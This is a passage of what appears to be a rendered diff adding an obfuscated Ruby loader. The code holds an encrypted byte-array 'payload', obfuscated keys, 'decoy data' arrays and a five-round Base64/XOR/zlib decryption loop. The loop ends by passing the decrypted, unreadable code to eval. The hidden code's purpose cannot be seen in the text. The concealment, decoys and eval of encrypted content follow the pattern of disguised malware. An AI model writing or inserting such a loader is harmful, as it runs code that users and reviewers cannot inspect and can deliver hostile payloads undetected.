71, 109, 191, 219, 42, 199, 222, 177, 215, 25, 37, 196, 158, 253, 86, 220, 252, 160, 138, 65, 110, 202, 134, 33, 38, 202, 29, 252, 55, 120, 251, 80, 113, 106, 117, 205, 35, 250, 68, 193, 10, 101, 179, 155, 138, 232, 21, 82, 82, 172, 141, 11, 234, 162, 102, 70, 93, 113, 49, 0, 217, 86, 98, 143, 138, 201, 51, 46, 15, 172, 128, 230, 38, 104, 120, 187, 185, 174, 240, 233, 60, 43, 31, 83, 164, 68, 46, 56, 166, 149, 239, 194, 221, 187, 187, 2, 173, 59, 189, 173, 161, 46, 169, 231, 102, 62, 91, 46, 242, 112, 179, 141, 0, 43, 221, 22, 58, 145, 0, 165, 156, 89, 90, 252, 70, 60, 229, 57, 165, 245, 150, 40, 207, 26, 140, 57, 30, 37, 3, 125, 229, 21, 49, 98, 12, 165, 63, 20, 109, 244, 172, 23, 97, 83, 59, 228, 219, 216, 42, 81, 15, 136, 0, 205, 151, 9, 181, 249, 14, 14, 63, 27, 97, 12, 205, 209, 140, 172, 67, 213, 114, 57, 65, 237, 178, 89, 180, 112, 172, 254, 190, 29, 20, 8, 129, 125, 219, 90, 82, 110, 190, 224, 136, 201, 76, 251, 76, 92, 20, 60, 183, 179, 53, 137, 211, 19, 91, 216, 222, 94, 250, 191, 150, 251, 199, 20, 139, 62, 101, 174, 118, 127, 162, 6, 147, 100, 69, 74, 152, 140, 80, 48, 223, 103, 200, 206, 79, 87, 49, 17, 112, 166, 238, 167, 25, 115, 152, 0, 138, 237, 159, 49, 155, 104, 97, 64, 156, 136, 94, 222, 234, 40, 185, 218, 210, 73, 185, 231, 40, 226, 115, 70, 33, 239, 212, 229, 100, 196, 147, 77, 66, 121, 163, 12, 135, 33, 82, 238, 27, 248, 231, 236, 93, 249, 217, 45, 242, 226, 142, 238, 202, 117, 143, 140, 193, 179, 172, 153, 198, 253, 187, 245, 18, 244, 110, 73, 67, 220, 90, 178, 107, 99, 219, 196, 39, 114, 240, 98, 186, 24, 54, 31, 212, 68, 187, 60, 70, 10, 83, 121, 167, 114, 231, 252, 215, 50, 67, 112, 139, 95, 162, 117, 111, 102, 184, 92, 214, 7, 72, 146, 5, 26, 217, 160, 116, 34, 12, 146, 5, 74, 134, 80, 3, 43, 89, 200, 213, 55, 92, 201, 226, 43, 97, 167, 115, 114, 92, 69, 45, 186, 229, 153, 158, 206, 127, 25, 210, 115, 189, 72, 244, 75, 240, 114, 127, 223, 84, 21, 224, 86, 11, 225, 37, 2, 81, 77, 198, 167, 22, 88, 116, 154, 242, 245, 208, 194, 1, 173, 174, 187, 61, 218, 14, 219, 254, 221, 89, 29, 118, 113, 92, 225, 90, 169, 68, 159, 41, 108, 135, 24, 174, 151, 143, 132, 4, 20, 126, 101, 41, 65, 42, 162, 240, 255, 235, 191, 114, 236, 128, 116, 53, 233, 201, 72, 157, 111, 126, 20, 8, 54, 84, 67, 202, 37, 9, 157, 22, 228, 21, 214, 136, 218, 139, 144, 73, 184, 36, 152, 180, 60, 195, 148, 128, 103, 167, 64, 35, 21, 181, 48, 116, 121, 163, 141, 118, 74, 86, 216, 10, 85, 160, 163, 155, 161, 33, 38, 76, 156, 28, 113, 53, 114, 105, 251, 18, 254, 191, 6, 179, 14, 170, 170, 233, 62, 77, 48, 20, 7, 125, 235, 205, 236, 153, 110, 66, 45, 196, 89, 118, 151, 4, 232, 94, 156, 104, 153, 189, 73, 86, 105, 67, 174, 95, 130, 124, 67, 44, 172, 233, 81, 248, 253, 124, 245, 169, 238, 182, 187, 196, 58, 58, 47, 139, 24, 227, 1, 30, 141, 124, 194, 4, 67, 94, 154, 202, 84, 48, 176, 86, 206, 191, 164, 106, 9, 189, 130, 92, 4, 47, 133, 101, 90, 88, 108, 95, 18, 147, 172, 11, 75, 146, 80, 203, 99, 33, 243, 195, 107, 44, 126, 98, 9, 111, 37, 212, 206, 12, 201, 106, 121, 67, 88, 92, 220, 11, 64, 50, 167, 0, 52, 110, 251, 237, 70, 214, 216, 230, 94, 36, 204, 196, 6, 222, 197, 159, 87, 3, 147, 245, 230, 189, 118, 158, 68, 153, 151, 135, 212, 156, 168, 3, 90, 49, 199, 62, 97, 69, 45, 20, 23, 2, 58, 244, 125, 66, 143, 1, 108, 127, 61, 83, 61, 155, 203, 66, 22, 189, 240, 150, 254, 5, 67, 71, 149, 22, 248, 93, 74, 93] # Main encrypted payload
|
|
52
|
+
|
|
53
|
+
# === EMBEDDED KEYS (obfuscated) ===
|
|
54
|
+
_se9ed95 = [178, 105, 172, 111, 202, 245, 245, 102, 89, 77, 248, 131, 5, 212, 24, 0, 210, 134, 105, 6]
|
|
55
|
+
|
|
56
|
+
# === ENCODING TYPE TRACKER ===
|
|
57
|
+
_w58986f = [0, 1, 1, 0, 0]
|
|
58
|
+
|
|
59
|
+
# === STORED CHECKSUM ===
|
|
60
|
+
_oed3d4a = '576345175eb87f6d06af50c25525707e0e163c5c62a97a52d0d88f81c1707a78'
|
|
61
|
+
|
|
62
|
+
# === DECOY DATA (distraction) ===
|
|
63
|
+
_j2b1c51 = [149, 89, 177, 110, 201, 213, 4, 218, 138, 235, 186, 32, 93, 109, 252, 246, 172, 21, 9, 68, 47, 22, 67, 45, 215, 128, 192, 49, 192, 101, 21, 31, 202, 76, 172, 241, 80, 85, 69, 87, 193, 72, 74, 27, 244, 80, 81, 66, 61, 244, 192, 165, 84, 173, 51, 43, 162, 146, 77, 241, 123, 74, 166, 33, 8, 131, 58, 50, 167, 97, 122, 121, 152, 5, 234, 60, 133, 226, 100, 191, 193, 241, 20, 73, 197, 149, 57, 84, 143, 0, 173, 120, 121, 71, 136, 162, 190, 93, 95, 251, 141, 37, 168, 90, 34, 226, 207, 24, 14, 211, 141, 32, 94]
|
|
64
|
+
_db5a2a3 = [65, 243, 245, 33, 86, 18, 215, 136, 99, 80, 40, 57, 18, 89, 215, 104, 27, 1, 72, 136, 171, 41, 91, 228, 119, 181, 16, 178, 100, 33, 160, 201, 18, 226, 156, 108, 168, 137, 129, 204, 254, 182, 174, 142, 130, 229, 143, 186, 244, 225, 244, 202, 210, 139, 233, 31, 247, 138, 235, 249, 132, 94, 169, 58, 104, 190, 70, 161, 41, 39, 101, 216, 173, 111, 17, 30, 14, 19, 181, 68, 252, 196, 111, 75, 221, 75, 146, 83, 231, 20, 48, 127, 43, 209, 227, 83]
|
|
65
|
+
_fc03ef1 = [130, 169, 123, 116, 181, 63, 188, 84, 17, 121, 201, 137, 60, 148, 17, 70, 215, 99, 34, 146, 242, 86, 112, 110, 218, 183, 126, 239, 192, 196, 163, 187, 128, 66, 186, 6, 198, 232, 153, 31, 216, 59, 90, 255, 76, 246, 185, 122, 40, 247, 122, 67, 242, 103]
|
|
66
|
+
|
|
67
|
+
# === FIXED DECRYPTION ALGORITHM ===
|
|
68
|
+
begin
|
|
69
|
+
# 1. Verify integrity BEFORE decryption
|
|
70
|
+
unless _b20ecc7.call(_n940881, _w58986f, _se9ed95, _oed3d4a)
|
|
71
|
+
raise "Integrity verification failed"
|
|
72
|
+
end
|
|
73
|
+
|
|
74
|
+
# 2. Start with the encrypted data
|
|
75
|
+
_o678e95 = _n940881.dup
|
|
76
|
+
|
|
77
|
+
# 3. Decryption loop (must reverse encryption steps)
|
|
78
|
+
5.times do |_lc1fc4a|
|
|
79
|
+
# Calculate which round we're reversing
|
|
80
|
+
_ke5b6ee = 5 - _lc1fc4a - 1
|
|
81
|
+
|
|
82
|
+
# Get key for this reverse round
|
|
83
|
+
_cd082ac = 4
|
|
84
|
+
_ya9ea7f = _ke5b6ee * _cd082ac
|
|
85
|
+
_b437988 = _se9ed95[_ya9ea7f, _cd082ac]
|
|
86
|
+
|
|
87
|
+
# DECRYPTION STEPS (REVERSED ORDER from encryption):
|
|
88
|
+
# Encryption was: Compress → XOR → (Maybe) Base64
|
|
89
|
+
# Decryption must be: (Maybe) Base64 Decode → XOR → Inflate
|
|
90
|
+
|
|
91
|
+
# A. Base64 decode if this round used it
|
|
92
|
+
if _w58986f[_ke5b6ee] == 1
|
|
93
|
+
_h7dd64a = _o678e95.pack('C*')
|
|
94
|
+
_h7dd64a = Base64.strict_decode64(_h7dd64a)
|
|
95
|
+
_o678e95 = _h7dd64a.bytes
|
|
96
|
+
end
|
|
97
|
+
|
|
98
|
+
# B. XOR decrypt with the key
|
|
99
|
+
_o678e95 = _cb8685d.call(_o678e95, _b437988)
|
|
100
|
+
|
|
101
|
+
# C. Inflate (decompress) the data
|
|
102
|
+
_h7dd64a = _o678e95.pack('C*')
|
|
103
|
+
_h7dd64a = Zlib::Inflate.inflate(_h7dd64a)
|
|
104
|
+
_o678e95 = _h7dd64a.bytes
|
|
105
|
+
end
|
|
106
|
+
|
|
107
|
+
# 4. Final verification and execution
|
|
108
|
+
_zf2c1f8 = _o678e95.pack('C*')
|
|
109
|
+
|
|
110
|
+
# Quick syntax check before eval
|
|
111
|
+
if _zf2c1f8.strip.empty? || _zf2c1f8.length < 10
|
|
112
|
+
raise "Decryption resulted in invalid code"
|
|
113
|
+
end
|
|
114
|
+
|
|
115
|
+
# No user-facing output here; the loader should not print this during decryption
|
|
116
|
+
eval(_zf2c1f8, binding, __FILE__, __LINE__)
|
|
117
|
+
|
|
118
|
+
rescue => _yd381cb
|
|
119
|
+
# Graceful error handling
|
|
120
|
+
warn "DECRYPTION ERROR: #{_yd381cb.message}"
|
|
121
|
+
warn "This file appears to be corrupted or tampered with."
|
|
122
|
+
exit 1
|
|
123
|
+
end
|